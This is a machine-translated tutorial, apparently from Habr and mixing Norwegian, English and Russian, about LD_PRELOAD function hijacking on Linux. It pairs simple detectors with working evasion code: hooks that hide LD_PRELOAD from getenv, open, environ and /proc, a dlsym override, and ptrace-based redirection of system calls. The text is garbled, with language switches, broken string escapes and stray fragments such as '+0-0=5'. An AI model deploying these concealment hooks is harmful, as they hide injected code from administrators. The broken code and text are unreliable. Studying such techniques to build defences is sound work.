Denne notatet ble skrevet i 2014, men jeg ble akkurat rammet av represjoner på Habr, og den fikk ikke se dagens lys. I løpet av forbudet glemte jeg den, men nå har jeg funnet den i utkastene. Jeg tenkte å slette den, men kanskje den er nyttig for noen.

Generelt, en liten fredagslesning for administratorer om å finne en «aktivert» LD_PRELOAD.
1. En liten avvik for de som ikke er kjent med funksjonsomdirigering
Andre kan gå rett til punkt 2.
La oss starte med et klassisk eksempel:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
Kommer til å kompilere uten noen flagg:
$ gcc ./ld_rand.c -o ld_rand
Og, som forventet, får vi 5 tilfeldige tall under 100:
$ ./ld_rand
53
93
48
57
20
Men la oss anta at vi ikke har kildekoden til programmet, men vi trenger å endre atferden.
Vi oppretter vårt eget bibliotek med vår egen prototype av funksjonen, for eksempel:
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
Og nå er vårt tilfeldige valg ganske forutsigbart:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
Dette trikset ser enda mer imponerende ut hvis vi først eksporterer biblioteket vårt gjennom
$ export LD_PRELOAD=$PWD/ld_rand.so
eller kjører det først
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
og så starter programmet i vanlig modus. Vi har ikke endret en linje i koden til selve programmet, men nå avhenger atferden av en liten funksjon i biblioteket vårt. Dessuten, på tidspunktet for skrivingen, eksisterte ikke den falske rand i det hele tatt.
Hva førte til at programmet vårt brukte den falske rand? Разберем по шагам.
Når applikasjonen kjøres, lastes spesifikke biblioteker som inneholder nødvendige funksjoner for programmet. Vi kan se på dem ved å bruke ) og tommath (:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
Denne listen kan variere avhengig av OS-versjonen, men der må det nødvendigvis være en fil libc.so. Dette biblioteket gir systemanrop og grunnleggende funksjoner som open, malloc, printf og så videre. Vår rand er også blant dem. La oss forsikre oss om det:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
La oss se om settet med biblioteker endres ved å bruke LD_PRELOAD
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
Det viser seg at den satte variabelen LD_PRELOAD får vår ld_rand.so til å laste selv om programmet ikke ber om den. Og ettersom funksjonen vår «rand» lastes før rand fra libc.so, så er det den som har kontroll.
OK, vi klarte å erstatte den opprinnelige funksjonen, men hvordan kan vi gjøre det slik at dens funksjonalitet bevares og noen handlinger legges til. Vi endrer vår random:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* Выполняем некий код */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
Her, som vårt «tillegg», skriver vi bare ut en linje tekst, før vi lager en peker til den opprinnelige funksjonen. rand. For retrieving the address of this function, we will need dlsym — this is a function from the library libdl, which will find our rand in the stack of dynamic libraries. After that, we will call this function and return its value. Accordingly, we need to add «-ldl» during compilation:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95
And our program uses «native» rand, having previously executed some undesirable actions.
2. The Torment of Detection
Knowing about the potential threat, we want to detect that preload was executed. It is clear that the best detection method is to shove it into the kernel, but I was specifically interested in methods for user space detection.
Next, we will present pairs of detection solutions and their refutations.
2.1. Let's start with a simple one
As mentioned earlier, you can specify the loaded library using the environment variable LD_PRELOAD or by specifying it in the file /etc/ld.so.preload. We will create two simple detectors.
The first one is to check the set environment variable:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
The second one is to check for the opening of the file:
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
Load the libraries:
$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload
$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]
Here and further [+] indicates successful detection.
Accordingly, [-] indicates evasion of detection.
How effective is such a detector? First, let's deal with the environment variable:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]
Similarly, we get rid of the check open:
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]
Yes, other ways of accessing the file can be used here, such as, open64, stat etc., but, essentially, 5-10 lines of code are required to deceive them.
2.2. Moving on
Above, we used getenv() to get the value LD_PRELOAD, but there is also a more «low-level» way to access ENV-variables. We will not use intermediate functions, but will refer to the array **environ, which stores a copy of the environment:
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
Since we are reading data directly from memory here, this call cannot be intercepted, and our undetect_getenv no longer hinders the detection of intrusion.
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]
It seems that this problem is solved? It’s just the beginning.
Når programmet er kjørt, er verdien av variabelen LD_PRELOAD i minnet ikke lenger nødvendig for hackere, så den kan anses som slettet før noen instruksjoner kjøres. Selvfølgelig er det minst dårlig programmeringsstil å redigere et array i minnet, men kan dette virkelig stoppe noen som allerede ikke ønsker oss noe godt?
For dette trenger vi å lage vår egen falske funksjon init(), hvor vi fanger opp den installerte LD_PRELOAD og sender den til kompilereren vår:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// Проверям не существует ли других установленных LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// Если LD_PRELOAD не было установлено до нас, то добавим его
if(k == -1){
k = i;
i++;
}
// Создаём новое окружение
new_env = (char**) malloc((i+1)*sizeof(char*));
// Копируем старое окружение, за исключением LD_PRELOAD
for(j = 0; j < i; j++) {
// перезаписываем или создаём LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
Vi kjører, tester:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]
2.3. /proc/self/
Men minnet er ikke det siste stedet å oppdage forfalskninger LD_PRELOAD, det finnes også /proc/. La oss starte med det åpenbare /proc/{PID}/environ.
Det er faktisk en universell løsning for undetect **environ og /proc/self/environ. Problemet ligger i den "feilaktige" oppførselen unsetenv(env).
den riktige varianten
void evil_init()
{
// Først lagrer vi den nåværende verdien av LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Fjerner nåværende LD_PRELOAD
//unsetenv(env);
// I stedet for unset, bare nuller vi vår variabel
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Men la oss anta at vi ikke fant det og /proc/self/environ inneholder "problematisk" data.
La oss først prøve med vår tidligere "maskering":
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so
cat bruken for å åpne filen er den samme open(), så løsningen ligner på det som allerede ble gjort i p.2.1, men nå lager vi en midlertidig fil hvor vi kopierer verdiene fra den sanne minnet uten linjer som inneholder LD_PRELOAD.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
Og dette trinnet er fullført:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Det neste åpenbare stedet er /proc/self/maps. Det gir ikke mening å dvele ved det. Løsningen er helt identisk med den forrige: vi kopierer data fra filen med unntak av linjer mellom libc.so og ld.so.
2.4. Chokepoint-løsningen
Denne løsningen likte jeg spesielt for sin enkelhet. Vi sammenligner adressene til funksjoner som lastes direkte fra libc, og "NEXT"-adressen.
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
Vi laster biblioteket med fangst av "open()" og sjekker:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (system call - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135
Avvisningen viste seg å være enda enklere:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. Systemkall
Det kan virke som vi er ferdige, men la oss lete litt mer. Hvis vi retter systemkallet direkte til kjernen, kan vi omgå hele intersepsjonsprosessen. Løsningen nedenfor er selvfølgelig avhengig av arkitekturen (x86_64). La oss prøve å implementere en oppdagelse av åpning ld.so.preload.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (open system call) [+]
Og denne oppgaven har en løsning. Utdrag fra man‘s:
ptrace er et verktøy som lar en forelderprosess overvåke og kontrollere en annen prosess, se og endre dens data og registre. Denne funksjonen brukes vanligvis til å sette inn bruddpunkt i programmer for feilsøking og spore systemkall.
Foreldreprosessen kan starte sporing ved å kalle funksjonen fork(2), og deretter kan den resulterende datterprosessen utføre PTRACE_TRACEME, etterfulgt (vanligvis) av å kjøre exec(3). På den annen side kan foreldreprosessen starte feilsøking av en eksisterende prosess ved hjelp av PTRACE_ATTACH.
Under sporing stopper datterprosessen hver gang den mottar et signal, selv om dette signalet ignoreres. (Unntaket er SIGKILL som fungerer normalt.) Foreldreprosessen vil bli varslet om dette ved å kalle wait(2), hvoretter den kan se og endre innholdet i datterprosessen før den starter den. Deretter gir foreldreprosessen datterprosessen tillatelse til å fortsette, i noen tilfeller ignorerer det sendte signalet eller sender i stedet et annet signal).
Dermed ligger løsningen i å spore prosessen ved å stoppe den før hvert systemkall og, om nødvendig, omdirigere strømmen til en fangstfunksjon.
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// Форкаем дочерний процесс
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// Подключаемся к дочернему процессу
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// Отслеживаем только SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// Получаем номер системного вызова
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// Читаем слово из памяти дочернего процесса
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// Перехватываем вызов
if(!NOHOOK) {
// Копируем регистры дочернего процесса
// в переменную regs родительского
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// Копируем слово в память дочернего процесса
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// Устанавливаем RIP по адресу evil_open
regs.REG_IP = (unsigned long) evil_open;
// Записываем состояние регистров процесса
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
Vi sjekker:
$ ./detect_syscall
LD_PRELOAD (open system call) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open system call) [-]
+0-0=5
Tusen takk
, hvis artikler, kilder og kommentarer har gjort langt mer enn meg for at denne merknaden skulle komme hit.
Kilde: habr.com
